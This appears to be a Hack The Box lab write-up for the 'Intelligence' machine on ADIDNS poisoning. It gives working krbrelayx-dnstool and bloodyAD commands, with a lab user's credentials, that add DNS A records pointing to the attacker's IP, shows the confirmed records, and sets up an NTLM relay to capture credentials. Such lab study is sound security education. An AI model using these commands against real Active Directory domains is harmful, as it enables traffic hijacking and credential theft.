Intelligence_ADIDNS_Poisoning

ADIDNS Poisoning

---

following up with enumeration of the retrieved powershell script from the target smb server, the script is inherently vulnerable due to dynamic dns updates

ADIDNS Poisoning is a cyberattack where an attacker, often after compromising an Active Directory (AD) user account, manipulates DNS records in an AD-integrated DNS system.

in an active directory environment with the dynamic dns updates enabled, regular AD users may have the ability to add DNS records to the ADIDNS system. This feature is often used for ease of management but can also be leveraged by a threat actor who gains access to the user account, allowing them to manipulate DNS records, potentially leading to data exfiltration, disruption of network operations, or facilitating further attacks within the AD domain. Proper access controls, monitoring, and auditing are crucial to mitigate this security risk.

ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Therefore, ADIDNS zones can be remotely edited in the following manner

• with dynamic updates (a DNS specific protocol used by machine accounts to add and update their own DNS records). Users can create records if they don’t exist, and they will have full control over it. By default, users that don’t own a record will not be able to edit it, or to add another one with the same name, even if the type is different (A, AAAA, CNAME, MX, and so on).
• by using ldap to create dnsnode objects. While dynamic updates can’t be used to inject a wildcard DNS record, LDAP can be (only if the record doesn’t already exist, which is the case by default).

while there are many tools available for such operation, krbrelayx-dnstool and BloodyAD seem most reliable

Adding a Malicious DNS record

---

┌──(kali㉿kali)-[~/archive/htb/labs/intelligence]
└─$ krbrelayx-dnstool $IP -u 'intelligence\tiffany.molina' -p NewIntelligenceCorpUser9876 -dc-ip $IP --type A --action add --record webapp --data 10.10.16.8 --tcp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Adding a type ‘A’ DNS record, webapp, with its data set to the IP address of Kali This would mean that whenever webapp.intelligence.htb is queried, the DC$ host as the DNS server, would resolve it to the Kali’s IP address

┌──(kali㉿kali)-[~/archive/htb/labs/intelligence]
└─$ bloodyAD -d INTELLIGENCE.HTB -u tiffany.molina -p NewIntelligenceCorpUser9876 --host dc.intelligence.htb add dnsRecord --dnstype A webx 10.10.16.8
[+] webx has been successfully added

Exact same thing could be achieved with BloodyAD* as well I named it webx

Confirmation

---

┌──(kali㉿kali)-[~/archive/htb/labs/intelligence]
└─$ krbrelayx-dnstool ldap://dc.intelligence.htb -u 'intelligence\tiffany.molina' -p NewIntelligenceCorpUser9876 -dc-ip $IP --action query --record webapp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found record webapp
DC=webapp,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb
[+] record entry:
 - type: 1 (A) (Serial: 112)
 - address: 10.10.16.8

Confirming the added DNS record; webapp.intelligence.htb

┌──(kali㉿kali)-[~/archive/htb/labs/intelligence]
└─$ bloodyAD -d INTELLIGENCE.HTB -u tiffany.molina -p NewIntelligenceCorpUser9876 --host dc.intelligence.htb get dnsDump --no-detail
 
recordname: webx.intelligence.htb
a: 10.10.16.8
 
recordname: webapp.intelligence.htb
a: 10.10.16.8
 
recordname: dc.intelligence.htb
aaaa: dead:beef::95e:6ab2:ad09:42c7; dead:beef::23b
a: 10.10.10.248
 
recordname: 195d59db-c263-4e51-b00b-4d6ce30136ea._msdcs.intelligence.htb
cname: dc.intelligence.htb

both webapp and webx can be seen with **BloodyAd

Now that a DNS record has been tampered with the Kali’s IP address, NTLM relay can be achieved to exfiltrate the supplied credential